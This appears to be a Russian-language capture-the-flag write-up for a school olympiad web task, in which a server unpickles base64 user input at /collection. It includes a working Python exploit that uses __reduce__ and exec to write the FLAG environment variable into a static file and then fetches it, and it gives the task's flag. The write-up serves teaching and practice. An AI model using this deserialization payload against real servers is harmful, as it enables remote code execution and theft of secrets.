# Web 10 класс - 1. Коллекция морских огурцов

## Описание

Коралловый риф, морские огурцы (sea pickles). Сервер принимает «сохранение» коллекции в формате base64 и при загрузке десериализует его через `pickle.loads()`, что приводит к удалённому выполнению кода (RCE).

**Цель:** получить флаг без использования reverse shell - например, записать флаг в файл в каталоге `static/` и прочитать его по HTTP.

## Уязвимость

- Эндпоинт `/collection` (POST) принимает поле `save_data` - строка в base64.
- Сервер делает `pickle.loads(base64.b64decode(save_data))`.
- Десериализация произвольного pickle позволяет выполнить произвольный Python-код на сервере.

## Решение

1. Собрать pickle-payload, который при десериализации выполняет код: прочитать флаг из переменной окружения `FLAG` и записать его в файл, доступный по URL (например, `/app/static/leak.txt`).
2. Закодировать payload в base64 и отправить в `save_data` на POST `/collection`.
3. Открыть в браузере или через `curl` URL вида `https://<host>/static/leak.txt` и прочитать флаг.

### Пример эксплоита (Python 3)

```python
import pickle
import base64
import urllib.parse
import urllib.request
import sys

BASE = "http://10.10.1.1:20000"

class RCE:
    def __reduce__(self):
        cmd = (
            "open('/app/static/leak.txt','w').write("
            "__import__('os').environ.get('FLAG',''))"
        )
        return (exec, (cmd,))

payload = base64.b64encode(pickle.dumps([RCE()])).decode()

data = urllib.parse.urlencode({"save_data": payload}).encode()
req = urllib.request.Request(f"{BASE}/collection", data=data, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
urllib.request.urlopen(req)

with urllib.request.urlopen(f"{BASE}/static/leak.txt") as r:
    print(r.read().decode().strip())
```

## Итог

- Уязвимость: небезопасная десериализация Python pickle в `/collection`.
- Решение: выполнение кода, который записывает `FLAG` в `/app/static/leak.txt`, и чтение флага по запросу к `/static/leak.txt`.

## Флаг

`vsosh{s3a_p1ckl3s_n3v3r_trust_d3s3r1al1z3}`
